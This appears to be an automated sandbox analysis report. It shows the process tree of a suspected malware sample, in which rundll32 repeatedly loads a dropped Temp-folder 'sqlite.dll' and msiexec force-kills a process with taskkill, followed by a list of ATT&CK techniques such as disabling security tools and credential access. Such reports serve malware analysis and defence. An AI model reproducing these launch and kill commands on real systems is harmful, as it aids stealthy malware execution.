C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
PID:1728

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
PID:1756

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:596
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  - Loads dropped DLL
  - Modifies registry class
  PID:4584

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
- Executes dropped EXE
PID:3920

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:5048

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
PID:1048

C:\Windows\system32\werfault.exe
werfault.exe /h /shared Global\83a1b82332cb4ef2b0d960e92645143c /t 5568 /p 5048
1⤵
PID:6368

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
PID:5888

C:\Windows\system32\werfault.exe
werfault.exe /h /shared Global\21cd58e1e09b4be7a233baf2e642fa75 /t 6580 /p 5888
1⤵
PID:5508

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:1624
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:4360

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
PID:2284

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
PID:8312

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:8764
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 93916CAD5879F6D48417F0B95413D59F C
  2⤵
  PID:8456
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 4BC6B576559E35624F43922E6CC59DF3
  2⤵
  PID:9816
- - C:\Windows\SysWOW64\taskkill.exe
    "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
    3⤵
    - Kills process with taskkill
    PID:10060
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 99813F603907DAE97F2BF5358C0D2F85 E Global\MSI0000
  2⤵
  PID:8328

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:9004

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:8960

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:9132

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:7208

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:8076

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
PID:4316

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
PID:952

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:9184

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:8444

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:6328

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:6804

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:4572

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:9232

C:\Users\Admin\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exe
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exe /update /peruser /childprocess
1⤵
PID:9448
- C:\Users\Admin\AppData\Local\Microsoft\OneDrive\21.196.0921.0007\FileSyncConfig.exe
  "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\21.196.0921.0007\FileSyncConfig.exe"
  2⤵
  PID:9820

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:9676
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:9688

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:9968
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:9988

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:5424

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:8768

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
PID:8068

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
PID:2776

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:6304

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:6572

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:6108

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:6184

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:5272

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
PID:3936

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
PID:9552

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:8968

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:6248

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
PID:3448

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
PID:8556

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:5816

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:6868

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:2716

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
PID:10008

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
PID:10172

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:1788

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:7572

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Disabling Security Tools

T1089

Install Root Certificate

T1130

Modify Registry

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

Remote System Discovery

T1018

System Information Discovery